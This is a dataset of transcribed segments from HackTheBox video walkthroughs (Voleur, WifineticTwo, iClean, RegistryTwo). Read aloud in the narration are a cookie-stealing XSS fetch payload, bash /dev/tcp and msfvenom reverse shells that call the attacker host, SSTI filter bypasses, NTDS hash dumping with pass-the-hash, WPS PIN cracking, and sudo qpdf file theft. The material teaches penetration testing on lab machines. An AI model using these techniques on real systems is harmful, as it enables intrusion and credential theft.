text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
And let's see. There should be a recursive flag. I think that's dash r.
3,410.4
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
See, third line, we have to put this in quotes because there's a space. We could probably just escape it with the backslash as well. Um, don't know what that's from.
3,417.04
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
Okay, like the fifth time is the term, right? There we go. Now it's telling NTDS.
3,435.839
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
So, we can do a um secret dump.py system specify the system file. Um, I think it's lowercase actually.
3,441.28
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
system security NTDS. Uh, and then I think we specify local.
3,457.839
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
Did I do this correctly? Um, no such file or directory system.
3,473.359
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
Let's see. It looks like it saved it to backups. Uh, let's just cp backups registry.
3,479.359
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
cp backups active directory ent.dit.
3,489.599
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
Okay, now they're all in my working directory and we're now dumping everything.
3,496.24
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
Awesome. So, if I go search for administrator, you can see the administrator hash is this e whatever.
3,502.319
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
So let's go copy this and we'll try it to net exec. So nxc SMB 1010 1176 administrator the hash and we probably have to specify kerbur uh I think I fat fingered a character s not supported can we do dash k and there we go. So let's do ps exec hashes put this hash in um I think dash k for kerros administrator at dc valo...
3,510.319
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
This is probably going to fail.
3,560.4
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
Do I do hashes with a colon? There we go.
3,568.799
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
Empty domain not allowed in Kerros.
3,577.04
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
Is there like a realm DCIP port service hashes? Maybe it wants Valor HTTP like that.
3,583.2
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
There we go. Now it's uploading psac and we get in. So here's users administrator desktop and we should be able to type root.ext and get the flag. So with that being said, um the box is done. So hope you guys enjoyed it. Take care and I will see you all next
3,598.88
0
{ "video_id": "G7FOSfZMC1I", "title": "HackTheBox - Voleur", "url": "https://www.youtube.com/watch?v=G7FOSfZMC1I" }
what's going on YouTube this is ipag we doing Wi-Fi nect 2 from hack the box which is a relatively short box at around like two and a half steps but it is pretty fun it starts out by finding the open PLC web interface with default credentials and you can just um write some C code in that and then it will compile and ru...
0.24
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
update your routes because there is a chance that it just no longer knows how to get back to you so that is going to be where we spend most of the time in this video but once you get the IP address on the wireless network you can just log in to open wrt and get the root flag so with that being said let's jump in as alw...
44.68
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
python version 2.718 this is ancient right let's see the release notes for python it's back in 2020 so like over four years ago and the SSH Banner is for Ubuntu 011 on 82 P1 uh this is probably Ubuntu focal um that is 20 let's see I can get rid of open SSH let's just Google that go over to Launchpad and we see this is ...
93.479
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
else to look at uh let's just go over and examine the web page so I'm going to go to 10117 port 8080 and we get the open PLC web server which is a programmable logic controller but whenever I get login to something like this I always Google um default credentials to see what it is it's probably to be like admin admin o...
160.239
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
washing machine and then there's a computer there that tells it how like the cycle tells it how to fill it with water how to spin the clothes how to drain it how to heat the water like all that's um controlled probably by a PLC device right so open PLC is just allowing us to simulate um programmable logic controllers o...
229.4
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
hit it uh it's got just a lot more code that I didn't want to deal with right so if we look at that versus this this is much simpler so what I'm going to do is copy the headers and we're going to put them let's see where's my open PLC login am I not logged in okay there I am we're going to put all those headers at the ...
294.4
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
see do we have any answers it's probably we're just missing some uh Library ah header inet we need socket we need these three let make sure we have those uh we can go back to Hardware okay we had socket we have this net inet we did not have RP A.H so let's try saving the changes with that one and see if it actually com...
372.759
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
was Ubuntu 20 so we're actually um running python 2 right we have python 27 um on a newer container than what the host is Right unless for some reason they like backported SSH on the host but I really don't think that's the case um regardless we could find out if that is the same SSH server potentially uh we don't even...
452.56
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
had done let's see can we I don't think I can access the code easily anymore but essentially I just called fork and then ran it so it would run in the background or a child pit and eventually it just destroyed the whole web server so that didn't work there is something that is funny if we Google like open PLC reverse s...
514.2
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
new process and background it and when you do it that way the fork doesn't screw up the whole web server and also the server is just going to last right so right now as long as we have the shell we can't um interact with the website so that's something I always test for when doing pent test now let's take a look at wha...
571.959
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
we're just going to download a script and get it working right and I'm going to use onot and not Reaver because onot is going to be python Reaver is C and it's a pain to get all the um dependencies over to this box to get Reaver working whereas if it's python we can just run it and it works right so let's go and downlo...
641.36
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
to be um One Shot will do various attacks but it just defaults to testing 1 2 3 4 5 5670 first because that is the default pin I believe I think Reaver does that as well um but we get access to the pre-shared key through the WPS pin and the um SSID now there is a weird thing in this next step which is connecting to the...
712.12
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
get back to the 101014 address which then just made the Box be completely unresponsive now it's very odd how it hits that condition why I think it's a Ras condition so let's generate a um config file so we can join the wiress network so I'm going to do a WPA passphrase and we specify the um SSID and then we to specify ...
773.16
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
there are some good um talking points here right so I'm going to use WPA supplicant and then we're going to say B this is going to run in Damon mode so it runs in the background then we specify the config file with- C so this is going to be Dev shm wp.com and that's specified W l0 and this is going to um connect the de...
862.88
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
format so let's revert the box and through the powers of editing I have already reverted the box so if I do iwd um wl0 link we see we aren't connected and we don't have an IP address so let's rerun that command to generate a config and I'm going to call it wp.com but this time we're going to edit the config and I'm goi...
928.6
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
I'm going to do is we're going to cheat a little bit we're going to skip over and get a shell on the root of the box so I'm going to start this up and go over to my other monitor click the super secret button to send myself a shell and we get a shell on the RO of the box so we can go into this container and show you ex...
1,004.639
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
168 1.1 um and since this is the default the W land Z interface cannot get to my 10104 interface and that's why this hung right if I go and attach to let's do lxc attach Attica O2 IP route we can see what it should look like right so when it wasn't um hanging when we just did it before the default route was 1031 on eth...
1,059.64
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
this box I want to do a DH client and get a new IP address on this network you don't want it setting the route for you because it may just destroy everything you have so let me revert the box and now the box has been reverted I did join the network so if I do iwd W l0 link we can see we are connected but don't have an ...
1,126.84
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
routes and I don't think it has to be executable or anything right yeah I think we just run this and now again no IP address we can say DH c-v and we get a IP address right away right so that is how I would do this just because again um whenever running DH client if the Gateway or dhtp server gives you a new route it's...
1,187.72
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
Gateway so we know the Gateway is 192 16811 uh we did that just because we looked at the route already uh let's see that's the default oh we don't see it actually here I bet if I did an r- uh we do see2 16811 so we can ping that and talk to it so if we wanted to we can see uh what ports are open so if we try to connect...
1,251.919
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
dubdub dub we copy opt is it chisel yep I have it on my box so let's just copy it there and then we can do curl 10 1048 8000 chisel out chisel okay chod plus X chisel let's make sure we can execute it uh we can't let's see oh I start my server in one shot there we go let's download it again chod plus X chisel we can do...
1,323.159
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
see we got schedule tasks and this says this is the system contab which a schedule task can be defined so 1 2 3 4 5 so this is going to run every minute and then we just just need to know um what is on this box so I'm going to cheat a little bit because we do have a shell here right sh root at 192 16811 because I don't...
1,424.279
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
Linux I don't know what it is is it list payloads and we actually not getting a shell back here um I should have something waiting like sleeping 60 seconds to see exactly when a minute is but this interface I don't think can actually hit the 101014 address uh what we could do is stand up a second one and we want to do ...
1,505.039
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
right uh let's see this is what we want Linux x64 there is so we can say- p Linux x64 and then shell reverse TCP Hell host is equal to um what do we say this was we did make a WG there so that is the correct one uh we want 1921 168 1.84 and the L Port is going to be we'll do 90001 the format is going to be elf out we'l...
1,624.679
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
I Dev TCP 10 1048 91 like that do I have a shell don't why is that not working let's try just moving the and in there there we go that works so this is how we can run multiple processes easily let's do nvmp 91 there we go okay so this one we want to run chisel so/ chisel client 10 1048 81 R socks okay we'll need anothe...
1,740.76
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
annoying let's see I just killed that whole Shell let's go back send it p-f grap on chisel we got two running let's k kill 678 kill 739 uh let's see foreground foreground okay I think that's good I'm really hoping I didn't just kill these shells up here okay I got it so I definitely didn't um let's see what do we want ...
1,899.84
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
and I will see you all next time
2,024.799
0
{ "video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho" }
what's going on YouTube this is ipag we're doing I clean from hack the box where you're attacking a cleaning company the first step here is gaining access to the admin panel and you can do this by stealing a cookie through cross a scripting thankfully the HTTP only flag is not set which makes the cross a scripting payl...
0.199
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
called qpdf it's probably what they use to build the um PDF invoices for their clients and looking at the man page for qpdf you can see that you can attach files to the PDF so you can use this pseudo rule in order to attach the flag or SSH key with that being said let's jump in as always we're going to start off with t...
41.879
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
at the site so I'm going to go to 1010 11.12 and it redirects us over to copy clean. htb so let's go take a look at um that virtual host so I'm going to add it to my host file we can do 10 10 112 cycle. htb and then refresh the page and we get looks like a website of a cleaning service so there is a login that's the fi...
96.32
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
getting what is it administrator which is for Jango so we could do like administrator and we don't get it the other indication why I thought flask right away other than the server header is if it was D Jango I would probably see other HTTP headers it likes putting some like cross- site request forgery ones um a cookie ...
156.64
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
few names we could have played more with that like login functionality um it said invalid username or password but maybe if I gave it m Pikes it would say invalid password um all the socials look like they just go nowhere uh we have contact at Cy clean is this all one page uh looks like some various Services if we go t...
221
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
information back to us but um we can still test for things like cross-site scripting by just putting like a image link right um I'm just going to do a netcat listener on Port 8000 and then we'll go over to repeater now in most videos when you see me testing for CR scripting I normally test with like the Bold parameter ...
289.36
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
form goes nowhere so that's just a dead link the team so it looks like each of these links is part of this a single web page it's just instead of like using an anchor and scrolling directly to it it has a separate page so nothing too interesting there if we go back to our netcat listener we can see the Box did reach ba...
350.16
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
to X and I'm just going to say on error is equal to fetch and then we're going to add document.cookie and we have to URL en code this if we don't it'll just be treated as a space and that would be bad JavaScript right so let's just URL encode that plus and I think this is good right let's just send this um I probably s...
410.44
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
piece so we can just view what it is so let's do Echo DN base 64- D not 65 64 and we have roll is equal to this um string that looks like 32 characters let's just do Echo dasn wc- C that is so that's probably G to be an md5 some something um if we Google it it looks like it is the md5 suash for admin so the RO is set t...
478.639
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
have this login right now there is one thing about this cookie and that is the path it's set to only work on Services because that's the page I was on when I added it right so if I intercepted this request so we go to proxy intercept on send this I'm not sending any cookies because again the path is just set right so w...
553.68
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
functions we can generate invoice generate QR edit service and quote request so for generating invoice um let's just test for ssti so this is python it's probably going to be Ginger 2 uh this looks like a max length so I can't put a 7 * 7 so we'll just do that there there there it probably actually wants an email addre...
615.12
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
treated as a string it would be 1 2 3 1 2 3 4 like these things would indicate some type of code was ran but it just being 77 I think it just stripped out the special characters right so 49 doesn't really or 77 doesn't surprise me uh looking at email that looks fine 77 everywhere else the QR code is blank there uh we c...
693.88
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
image PNG base 64 so the first thing I tested for was um what is it cross site request forgery I think is the right terminology I'm trying to make the page or server side request forgery that's what I meant to say ssrf I try to make the server maker request back to me right I put a URL it got the actual QR code so what...
776.079
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
the server again um we saw that was set with the uh referral where is it right here that's how this um cookie stealer was working so the other thing we could test for is putting um ssti in the QR code right so we do submit we look at where the QR code is and we get 49 so we have valid ssti here so let's go find a paylo...
845.48
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
lifetime server name doesn't look like there's anything interesting here um being able to sign cookies is nice but we're already in admin uh the other thing sometimes you can find is like database credentials I don't see anything in here so let's go and try another uh payload this time let's try getting code execution ...
932.519
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
look for um bypassing a lot of filters and this payload relatively complex uh let's go and paste it in actually I think it's just running ID so let's look at it okay so we have this we want to put our shell right here where it says ID so let's go and um build that I'm going to do eo-n B- I Dev TCP 10 10 148 9,10 and on...
1,005
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
while to respond because we got a shell so let's upgrade this real quick so we can import PTY PTY spawn B Bash s2i raw minus Echo foreground what's going on this is it from the future and I want to put a segment here just understanding exactly how this evasion is working because if you ever get into a situation where y...
1,101.039
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
here we can just see it's going to have a page on Route and we're just going to set a breakpoint soon as it gets hit right so that will allow us to get into a debug mode of where flask is so let's run this app so we'll do Python 3 app.py and then I'll just C Local Host 5000 and we get here so what they're doing is gett...
1,157.36
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
application so if we do request. application right here and then it's going to go and get globals so we go and grab globals and in Python when you access the globals from here we can kind of just do a chain to um import things and right here they're doing attribute get items because we're not going to do a period becau...
1,213.84
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
import and now we're in the function import and what they're going to do is call Osos so we imported OS and I want to say it's just uh poop uh the command we want so we can do id. read is that it there we go so in Python whenever you have a string you can replace like this so is it 5f they did that still works because ...
1,280.84
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
run into this if for some reason you didn't have the request object um all functions in Python I believe also expose globals so we could kind of work with it from the function as well so if we just do the function of root because um if we go in code cat my app we're broke right here so we know this is the function righ...
1,350.279
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
see import here so instead of treating it like a um item it's just not right that's the only difference so where is the full payload we had working let's go here so we'll doore import um osop ID read get rid of the DI and that works so if you wanted to look at this there's one other just small interesting tidbit if you...
1,422.44
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
is working um the whole attribute thing again uh this is I want to say imported by Ginger 2 the reason why I'm not showing it is because my simple flask G um just doesn't have that imported but you can replace those pipes with periods um that's probably escaping the need to do square brackets right there's a bunch of w...
1,517.84
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
so let's see what can we do here generally whenever I land on a um web app I always look for like any type of database we saw there was a login functionality so I know there is a database um doing lsls I'm looking for like an environment file or a config file looking at EnV to see if um my SQL information is put in the...
1,571.559
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
says uh does this did it have a result copy hat it's user so okay let's just do select username password from users we can copy these two and then V hashes do out paste this in let's put in a format that we like better I'm going to get rid of all the spaces uh we can get rid of any line that starts with a pipe get rid ...
1,649.96
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
hashcat but um when you just dealing with straight hashes you can always just use crack station first to get a quick win um maybe with this capture it's not as fast as just doing it manually we got one hit 0 a29 and that is Simple and Clean so that is going to be cons uh consella so vhes just going to put that and then...
1,744
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
do let's see how do we use Q PDF uh let's just do d-el uh equals usage okay let's see qpdf infile options out file okay help equals add attachment file name okay so we have to get a PD f file so let's just do find dname star.pdf PPE it over to devn we have a PDF here so we can use this as the in file so I'm going to CP...
1,825.88
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
attachments attachment oh I don't give it a n file that's me probably not being able to spell okay we got pass WD so we do show ATT attachment equals pass WD we can read that so let's now try adding a different thing so let's do add attachment and we can add root S ID or sa see if the S key is there um oh we have to do...
1,951.279
0
{ "video_id": "DYp9TFnZH-g", "title": "HackTheBox - iClean", "url": "https://www.youtube.com/watch?v=DYp9TFnZH-g" }
what's going on YouTube this is ipag I'm doing registry 2 from hack the box which was an extremely intimidating box because of all the Java you have to exploit but it was really well put together in each step built upon the last one so it's really rewarding to complete it starts off with the typical engine X Tomcat pat...
0.24
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
something it pulls a config from your ormi server and you give them a dangerous config that leads to it exfilling a bunch of files to a place you can read there's a lot of ways to go through this box I'll try to cover them all but let's just jump in as always we're going to start off with an end map so- SC for default ...
46.719
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
webhosting.com in and then I always like whenever um I have like a dub dubdub also putting the parent so webhostinghub because I don't want to have to specify dubdub duub every time right so it redirects us uh we have the certificate save free hosting doesn't look like anything else is in the sht here on Port 5000 we a...
96.96
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
webhosting.com map so let's go ahead and take a look at the site so I'm going to go to htps dubdub dub.
148.76
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
webhosting htb and we get the page if we navigated to what was it htps dubdub web hosting Port 5000 uh let's accept the certificate we just get a blank page there and 50001 let's accept this we get the Acme off server so when I actually did the Box initially I skipped this whole um step on Port 5000 50001 I'll show you...
156.36
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
htps uh 10 10 11 223 Port 5000 if we just look at the headers here it doesn't really tell us that much um we just have a HTTP 2 200 but if we induced a 404 message so I'll just do that we can see we have the distribution API server in the header registry 2.0 so this is probably how nmap discovered exactly what its purp...
221.76
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
vanilla like this because if I request it I get a token but this token actually isn't going to work right away we have to specify some things right so if I specify the header and it's a authorization Bearer token which most most of these tokens are when you get it's always authorization bear for apis um we just get aut...
285.68
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
um to understand exactly how this works but I'm not going to show it since I skipped it if you want to know probably check out o xdf straight up he did it this way so he understands this much better better than I do but if we just specifi the parameters um what is it we want service is equal to Docker plus registry bec...
348.479
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
token so we have service offline client ID scope scope is what I want so I'm going to say I want the um scope of the registry catalog of everything I believe so that will give me the ability to request the catalog which will show what Dockers are available on the system uh we have to put that in single quotes because I...
429.919
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
um insecure was it registry option but that got removed recently I believe so we can't just do like the equivalent of DK to accept theer so we have to um tell our um OS to accept it so I'm going to download theer with open SSL so we'll do open SSL s client show Sears connect webhosting htb Port 5000 and let's see do we...
516.44
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
docker service cuz if I don't it's not going to pull from the new thing I believe I think I have to restart the servers yeah so let's do pseudo service Docker restart I know I probably should use system CTL restart Docker but pretty much the same thing and now if I do this Docker pull it's actually going to work and pu...
600.8
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
sh hosting app let's see unable to find image do have to specify Docker images Docker run hosting I'm going to put this whole thing in I don't think I need it yeah I do okay so let's close out of this I can do a Docker PS Docker exact d it a 926 sh I just pulled it from here and now we're in the docker container so awe...
660.68
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
burp so we have that let's turn proxy intercept on by refresh this page get back to burp examine the headers let's see what we have we have the server as engine X and nothing really else here so we want to try to identify like the underlying technology and I know we have the docker we could just look at it ourselves bu...
731.76
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
URL confusion thing uh email's taken because I played it in repeater right so we've already made this so let's get out of sign up and let's do sign n come on so let's do root at i.r password of password so knowing this is Tomcat there is something we could do here um I'm going to send this over into repeater and we can...
800.079
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
to like ip. RS uh rocks let's say Tom CAT engine X I would look at this video because I probably go into that much more in depth the first time I cover things I tend to remember them better because I spend a lot more time researching it but now I kind of just take it for granted when I see Tomcat I play with this so if...
893.839
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
another common one and we can see that is redirecting us to manager HTML and then we get a unauthorized so we need to get some type of credentials here um I believe it can also be locked to IP address maybe I don't know but that is one place we can access there's another one that's in a lot of bug bounties which is exa...
965
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
subscribe I refresh my session nothing really changes there but if I go into this edit button then something's going to get added to my session and we'll be able to see that here see we see the variable s editing media so so since this is added to my session it lets me edit it in this examples thing and this is why exa...
1,033.16
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
submit the query then I'm going to refresh this page and we had the past WD of the server so we have a pretty cool lfi here right um let's go and edit this to be proc self command line and then I'm going to refresh we can see the command line of our process so I'm going to look at this so v um CMD line let's oops paste...
1,088.96
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
little bit more intuitive 74 lines so we can see logging is going to go to SL logs Catalina 90 days I'm looking for the file format maybe because it's 90 days let's see if my rambling doesn't make sense here it probably will in just a second so what we want to get is the name name of the war file and the war file is a ...
1,168.72
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
catalina.out is one location and then it can also be um Catalina Dot and then the log name and the format is normally I want to say 20 24 that' be year and then month will be a one and then day today is the 31st I believe I think it's log when it's specified this way and there may be a dash here um can I just Google th...
1,239
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
don't say three lines there we go 388 lines so this is going to be the Catalina log right um it's not the wine mixer it's the log so if I'm just going to search for war because what I want is war files we see deployment of the web application archive user local Tomcat web apps hosting War um normally I also try to grab...
1,319.08
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
